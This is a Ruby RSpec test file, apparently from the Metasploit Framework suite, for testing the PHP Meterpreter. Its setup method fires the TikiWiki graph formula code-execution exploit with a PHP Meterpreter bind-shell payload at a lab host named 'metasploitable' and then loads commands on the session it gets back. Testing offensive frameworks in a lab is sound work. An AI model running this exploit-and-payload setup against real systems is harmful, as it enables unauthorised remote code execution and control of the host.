$:.unshift(File.join(File.dirname(__FILE__)))
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib'))
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'test', 'lib'))

require 'fileutils'
require 'msf/base'
require 'meterpreter_spec_helper'
require 'meterpreter_specs'

module MsfTest

describe "PhpMeterpreter" do
  
  # This include brings in all the spec helper methods
  include MsfTest::MeterpreterSpecHelper
  
  # This include brings in all the specs that are generic across the 
  # meterpreter platforms
  include MsfTest::MeterpreterSpecs

  before :all do
    @verbose = true
  
    @meterpreter_type = "php"
    
    ## Set up an outupt directory
    @output_directory = File.join(File.dirname(__FILE__), "test_output_#{@meterpreter_type}")

    if File.directory? @output_directory
      FileUtils.rm_rf(@output_directory)
    end

    Dir.mkdir(@output_directory)
    @default_file = "#{@output_directory}/default"

    create_session_php
  end

  before :each do

  end

  after :each do
    @session.init_ui(@input, @output)
  end
  
  after :all do
    FileUtils.rm_rf(@output_directory)
  end

  
  def create_session_php

    ## Setup for php
    @framework    = Msf::Simple::Framework.create
    
    @exploit_name = 'unix/webapp/tikiwiki_graph_formula_exec'
    @payload_name = 'php/meterpreter/bind_tcp'
    @input        = Rex::Ui::Text::Input::Stdio.new 
    @output       = Rex::Ui::Text::Output::File.new(@default_file)

    # Initialize the exploit instance
    exploit = @framework.exploits.create(@exploit_name)

    ## Fire it off against a known-vulnerable host
    @session = exploit.exploit_simple(
      'Options'     => {'RHOST' => "metasploitable"},
      'Payload'     => @payload_name,
      'LocalInput'  => @input,
      'LocalOutput' => @output)

    puts @session.inspect

    ## If a session came back, try to interact with it.
    if @session
      @session.load_stdapi
    else
      raise Exception "Couldn't get a session!"
    end
  end
  
end
end
